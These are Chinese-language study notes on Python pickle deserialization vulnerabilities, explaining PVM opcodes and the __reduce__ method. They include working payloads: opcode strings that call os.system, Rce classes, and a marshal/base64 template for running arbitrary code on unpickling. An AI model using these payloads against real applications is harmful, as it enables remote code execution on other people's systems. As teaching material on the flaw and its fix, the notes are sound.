Python 反序列化漏洞学习笔记
参考文章
一篇文章带你理解漏洞之 Python 反序列化漏洞
Python Pickle/CPickle 反序列化漏洞
Python反序列化安全问题
pickle反序列化初探
前言
上面看完,请忽略下面的内容
Python 中有很多能进行序列化的模块,比如 Json、pickle/cPickle、Shelve、Marshal
一般 pickle 模块较常使用
在 pickle 模块中 , 常用以下四个方法
pickle.dump(obj, file)
: 将对象序列化后保存到文件pickle.load(file)
: 读取文件, 将文件中的序列化内容反序列化为对象pickle.dumps(obj)
: 将对象序列化成字符串格式的字节流pickle.loads(bytes_obj)
: 将字符串格式的字节流反序列化为对象
注意:file文件需要以 2 进制方式打开,如wb
、rb
序列化
- 从对象提取所有属性,并将属性转化为键值对
- 写入对象的类名
- 写入键值对
看到下面这个序列化例子
py3 序列化后结果为:
b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'
py2 序列化后结果为:
(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.
这么一大串字符代表什么意思呢?可以简单的与 PHP 反序列化结果做类比 ----> 特定的字符开头帮助解释器指明特定的操作或内容
实际上这是一串 PVM 操作码
以 py2 运行得到的序列化结果 其中某些行的开头的字符具有特殊含义
符号 | 含义 | 形式 | 例子 |
---|---|---|---|
c |
导入模块及其具体对象 | c[module]\n[instance]\n | cos\nsystem\n |
( |
左括号 | ||
t |
相当于) ,与( 组合构成一个元组 |
||
R |
表示反序列化时依据 reduce 中的方式完成反序列化,会避免报错 | 这在反序列化漏洞中很重要 | 很重要 |
S |
代表一个字符串 | S'string'\n | |
p |
后面接一个数字,代表第n块堆栈 | p0、p1 | |
. |
表示结束 | . |
例如:
cos\nsystem\n(S'whoami'\ntR.
反序列化
- 获取 pickle 输入流,也就是上面说的 PVM 码
- 重建属性列表
- 根据类名创建一个新的对象
- 将属性复制到新的对象中
反序列化时,将字符串(pickle 流)转换为对象
与 PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(py2)或字节流(py3),以便于传输与存储,比如 session
但是在反序列化时又与 PHP 反序列化又有所不同:
- PHP 反序列化要求源代码中必须存在有问题的类,要求是被反序列化的对象中存在可控参数,具体可看这里
- 而 Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE,例如:
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 将被反序列化的字符串
pickle.loads(s) # 反序列化后即可造成命令执行,因此网站对要被反序列化的字符串应该做严格限制
在 Python 中,一切皆对象,因此能使用 pickle 序列化的数据类型有很多
- None、True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
- 某些类实例,这些类的
__dict__
属性值或__getstate__()
函数的返回值可以被封存
其中文件、套接字、以及代码对象不能被序列化!
Why
Python 反序列化漏洞跟 __reduce__()
魔术方法相关
其类似于 PHP 对象中的 __wakeup()
方法,会在反序列化时自动调用
__reduce__()
魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象
,第二个参数为该对象所需要的参数
When
关键问题就在 __reduce__
方法第二种返回方式---元组。在反序列化时自动调用 __reduce__()
方法,该方法会自动调用返回值中的函数模块并执行
例如下面存的代码:
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
pickle.loads(b) # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')
注意点:元类无法在反序列化时调用 __reduce__
魔术方法,简单理解就是没有继承 object
的类
class A():
pass # 反序列化时不会调用 __reduce__ 方法
class B(object):
pass # 反序列化时会调用 __reduce__ 方法
由于 Python 反序列化时只需要被反序列化的字符串可控(而不需要源代码中存在有安全问题的类)便可造成 RCE
因此我们可以通过如下代码轻松构造 Payload:
import pickle
import os
class Rce(object):
def __reduce__(self):
return (os.system,('ipconfig',))
a = Rce()
b = pickle.dumps(a)
print(b)
特性
- 看到如下两种不同的序列化结果:
- 一
import pickle
import os
class Rce(object):
name = "1ndex"
a = Rce()
print(pickle.dumps(a))
结果:
ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
- 二
import pickle
import os
class Rce(object):
name = "1ndex"
def __reduce__(self):
return (os.system,("ifconfig",))
a = Rce()
print(pickle.dumps(a))
结果:
cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.
然后用下面这个代码执行反序列化:
import pickle
str = "填写上面序列化后的结果"
pickle.loads(str)
一 对应的结果反序列化:
AttributeError: 'module' object has no attribute 'Rce' # 报错
二 对应的结果反序列化成功
一般来说反序列化时如果源代码中没有对应的类 Rce
,是会直接报错的(也就是上面一的结果),但是为什么在反序列化二的时候却能成功呢?源代码中明明也没有这个 Rce
的类啊
当序列化以及反序列化的过程中碰到一无所知的扩展类型/类的时候,可以通过类中定义的
__reduce__
方法来告知如何进行序列化或者反序列化
也就是说我们,只要在类中定义一个 reduce 方法,我们就能在反序列化时,让这个类根据我们在__reduce__ 中指定的方式进行序列化(也就会执行 return 中的恶意代码)
这应该就是大佬说的相似:
Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面。
- 反序列化执行 reduce 魔术方法,在 return 时,回自动导入源代码中没有引入的模块,例如:
import pickle
s ="cos\nsystem\n(S'whoami'\ntR." # 将被反序列化的字符串
pickle.loads(s) # 实际上会执行 os.system('whoami'),但是可以看到源代码中并未导入 os 模块
Solution
- 严格控制要被反序列化的字符串
利用
执行命令
import pickle
import os
class Rce(object):
def __reduce__(self):
return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))
执行任意 Python 代码
import marshal
import base64
def code():
# 这里放任意想执行的 Python 代码
pass
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))